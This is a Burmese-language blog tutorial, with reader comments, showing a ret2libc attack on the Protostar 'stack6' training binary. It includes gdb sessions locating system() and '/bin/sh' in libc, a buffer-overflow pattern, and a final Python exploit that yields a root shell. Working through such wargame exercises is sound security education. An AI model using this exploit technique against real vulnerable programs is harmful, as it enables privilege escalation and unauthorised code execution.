0x09 – ret2libc ( Return-to-Libc ) Attack

ret2libc ကေတာ့ ေတာ္ေတာ္ေလးသေဘာက်တယ္ဗ်ာ။ ဘာေၾကာင့္လဲဆိုရင္ ခုေနာက္ပိုင္းမွာ Compiler လုပ္တည္းကိုက Protection ေတြကပါျပီးသားျဖစ္ေနျပီ။ ဥပမာဆိုၾကပါစို႕ ။ က်ေနာ္တိုက အေစာပိုင္းေတြမွာ Compile လုပ္တုန္းက -z execstack ဆိုတာေလးထည့္ထည့္ျပီး compile လုပ္ၾကတယ္။ အဲဒါက Stack ကို execute လုပ္ဖို႕ခြင့္ျပဳမယ္ဆိုတဲ့ သေဘာပါ။ ဘာလို႕ ဒီလိုထည့္ရတာလဲ ?

Stack ကို execute မလုပ္ဖူးဆိုရင္ က်ေနာ္တို႕ shellcode က stack ေပၚေရာက္ေနတာေလ။ အလုပ္မလုပ္ပဲေနမွာေပါ့။ ဒါဆိုရင္ Default က ခြင့္မျပဳထားဘူး။ ဒါေၾကာင့္က်ေနာ္တို႕ ret2libc ကို ေလ့လာရတာ သေဘာက်တာပါ။ အဲဒါမွ က်ေနာ္တို႕ ေနာက္ပိုင္းဟာေတြကို shellcode inject လုပ္လို႕ရမွာေပါ့။ ဒီအေၾကာင္းက အေရွ႕ခန္းေတြမွာမပါထားဘူးဆိုေတာ့ ေသခ်ာေလ့လာၾကတာေပါ့။

Stack6

C Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();



}

ဒီ code မွာေတာ့ သူကအရိုးရွင္းဆံုးျပထားတာပဲ။ နားလည္ဖို႕လြယ္တယ္။

return pointer ဟာ တကယ္လို႕ 0xbf နဲ႕စခဲ့တယ္ဆိုရင္ bizz ဆိုျပီး exit ျဖစ္သြားမယ္။ ဆိုလိုတာကေတာ့ေပးမသြားဘူးေပါ့။ 0xbf ဘာလဲ ?

Stack လား ? stack ထဲမွာ local variable ေတြသိမ္းတယ္ဆိုတာသိတယ္။ ဒီေတာ့

#include <stdio.h>
int main()
{
        int a=1;
        int b=2;
        printf("Address of local variable a = %p\n",&a);
        printf("Address of local variable b = %p\n",&b);
}

Result

$ gcc -o stack  stack.c
$ ./stack
Address of local variable a = 0xbffffd0c
Address of local variable b = 0xbffffd08

ဒီေလာက္ဆို သိလိုက္ျပီ ။ stack6 မွာ stack ကိုျပန္သြားရင္ ဒီ program ကေနထြက္မွာျဖစ္တယ္။ ဒီေတာ့ stack မွာ shellcode execute လုပ္လို႕မရေတာ့ဘူးေပါ့။ ဒီအခါမွာက်ေနာ္တို႕ ret2libc ကို ေလ့လာရတာ မိုက္သြားတာေပါ့။

Stack မွာ shell spawn လုိ႕မရဘူးဆိုေတာ့ ရတယ္ေနရာကိုသြားတဲ့သေဘာပါပဲ ။ ret2libc ဆိုတာကေတာ့ C library ထဲကို ျပန္သြားတာျဖစ္တယ္။ ဘာျပန္လုပ္တာလဲဆိုေတာ့

#include <stdlib.h>

void main()
{
        system("/bin/dash");
}

C library ေတြထဲမွာ shell spawn လုပ္ေပးနိုင္တဲ့ system call function ေတြရွိလို႕လား ?

yeah ! ဟုတ္တယ္

$ gcc -o lol lol.c
$ (cat) | ./lol
id
uid=1001(user) gid=1001(user) groups=1001(user)

ဒါဆိုရင္ ဒီ library ထဲမွာရွိတဲ့ system ကိုဘယ္လိုသံုးမွာလဲ?

$ gdb lol
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/lol...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xfffffff0
0x080483ca <main+6>:    sub    esp,0x10
0x080483cd <main+9>:    mov    DWORD PTR [esp],0x80484a0
0x080483d4 <main+16>:   call   0x80482ec <system@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.

mov DWORD PTR [esp],0x80484a0

parameter ကို Stack ထဲမွာထားထားတာလား?

(gdb) x/s 0x80484a0
0x80484a0:       "/bin/sh"

library ထဲကသြားေခၚတာကေတာ့

call 0x80482ec <system@plt>

ဒီေတာ့ က်ေနာ္တို႕လုပ္ရမယ့္ဟာကိုသိျပီ။ တစ္ခုက paramter ကို stack ထဲမွာေရာက္ေအာင္ထားေပးရမယ္။ ေနာက္တစ္ခုကေတာ့ system ကိုေခၚတဲ့ address

ဘာေၾကာင့္လဲဆိုရင္ ခုနက system call လိုပဲ system() ကိုေခၚျပီဆိုတာနဲ႕ stack ထဲကဟာကို parameter အေနနဲ႕ယူမွာျဖစ္လို႕ပါပဲ။

ပံုေလးဆြဲထားေပးတယ္ 😀

ဒီလိုဆို stack6 မွာ system ကို ရွာရမယ္။

$ gdb -q stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) set disassembly-flavor intel
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: AAAA
got path AAAA

Program exited with code 016.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

0xb7ecffb0 !

ေနာက္တစ္ခုကေတာ့ /bin/sh ကုိရွာရမွာျဖစ္ပါတယ္။ libc ေတြထဲမွာပဲ /bin/sh ကိုရွာရမွာျဖစ္ပါတယ္။

libaray ေတြကိုၾကည့္ဖို႕အတြက္ process mapping ကိုၾကည့္မယ္ဆိုရင္ လက္ရွိ process ကို run ေနေအာင္လုပ္လိုက္တယ္။ ထြက္သြားမွာစိုးလို႕ break လိုက္တယ္။

(gdb) disas main
Dump of assembler code for function main:
0x080484fa <main+0>:    push   ebp
0x080484fb <main+1>:    mov    ebp,esp
0x080484fd <main+3>:    and    esp,0xfffffff0
0x08048500 <main+6>:    call   0x8048484 <getpath>
0x08048505 <main+11>:   mov    esp,ebp
0x08048507 <main+13>:   pop    ebp
0x08048508 <main+14>:   ret
End of assembler dump.
(gdb) break *main+14
Breakpoint 1 at 0x8048508: file stack6/stack6.c, line 31.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: aaaaa
got path aaaaa

Breakpoint 1, 0x08048508 in main (argc=134513914, argv=0x1)
    at stack6/stack6.c:31
31      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) info proc map
process 1537
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fde000 0xb7fe2000     0x4000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

find command နဲ႕ပဲ  string ကိုရွာမယ္။ /bin/sh ပါတဲ့ဟာပဲလိုခ်င္တယ္ဆိုေတာ့

$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
 11f3bf /bin/sh

ဒီလိုဆိုရင္ gdb ထဲမွာရွိတဲ့ library address နဲ႔ေပါင္းရမယ္။  ခုရွာထားတာက gdb ထဲမွာမဟုတ္ပါဘူး။

(gdb) x/s 0xb7e97000+0x11f3bf
0xb7fb63bf:      "/bin/sh"

ဒီေတာ့ System call လဲရျပီ argument လဲရျပီ။

ျပီးခဲ့တဲ့ offset ရွာတာေတြဘာေတြျပန္လုပ္လိုက္ဦးမယ္။

import struct

pattern="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU"

print(pattern)

ဒါေတြက ခုေလာက္ဆိုေအးေဆးျဖစ္ေနမွာပါ။ peace 😀

$ python /tmp/exploit.py > /tmp/6
$ gdb -q stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break *main+14
Breakpoint 1 at 0x8048508: file stack6/stack6.c, line 31.
(gdb) r < /tmp/6
Starting program: /opt/protostar/bin/stack6 < /tmp/6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUU

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

0x55= U

Final Exploit

import struct

pattern="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

system=struct.pack("I",0xb7ecffb0)

return_after_system="AAAA"

parameter=struct.pack("I",0xb7fb63bf)

print(pattern+system+return_after_system+parameter)

Wow 😀

$ (python /tmp/exploit.py;cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP▒▒▒RRRRSSSSTTTT▒▒▒AAAA▒c▒
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
^CSegmentation fault

ေနာက္တစ္ခုက ဒီဟာကိုပဲ ROP (Return Oriented Programming ) သံုးျပီးေျဖၾကတာေပါ့။

 

 

6 Comments

  1. ret2libc technique ကုိ Linux Exploit Dev experience မရွိေသာသူတစ္ေယာက္ေတာင္ဖတ္ျပီ exercise လုပ္မယ္ဆို
    ရေလာက္တဲ့အေရးသားမ်ဳိးပါပဲ။

  2. အခု မွ ဖတ္ျကည့္မိတယ္ ေရးထားတာ အရမ္းေကာင္းတယ္ တစ္ေခာက္ဖတ္လိုက္တာနဲ့ ကို ခ်က္ခ်င္း သေဘာေပါက္သြားတယ္ ၊၊၊ မိုက္တယ္ Bro 😀 😀

  3. ဒီမွာ တစ္ခု သိခ်င္တာက

    import struct

    pattern=”AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT”

    system=struct.pack(“I”,0xb7ecffb0)

    return_after_system=”AAAA”

    parameter=struct.pack(“I”,0xb7fb63bf)

    print(pattern+system+return_after_system+parameter)
    >> system=struct.pack(“I”,0xb7ecffb0)

    ဒီ 0xb7ecffb0 ကဘယ္လို ရတာလဲဗ်

    eip ရဲ့ address လား ခင္ဗ်

    • (gdb) p system
      $1 = {} 0xb7ecffb0 <__libc_system>

      Memory ထဲမွာ libc က ေခၚထားတဲ့ system က ရွိျပီးသားျဖစ္ပါတယ္။
      အဲဒါကို code execute လုပ္ႏိုင္ဖို႕အတြက္ ျပန္ေခၚသံုးတာပါ bro 😀

1 Trackback / Pingback

  1. 0x0A – Before you begin ROP – Legion of LOL

Comments are closed.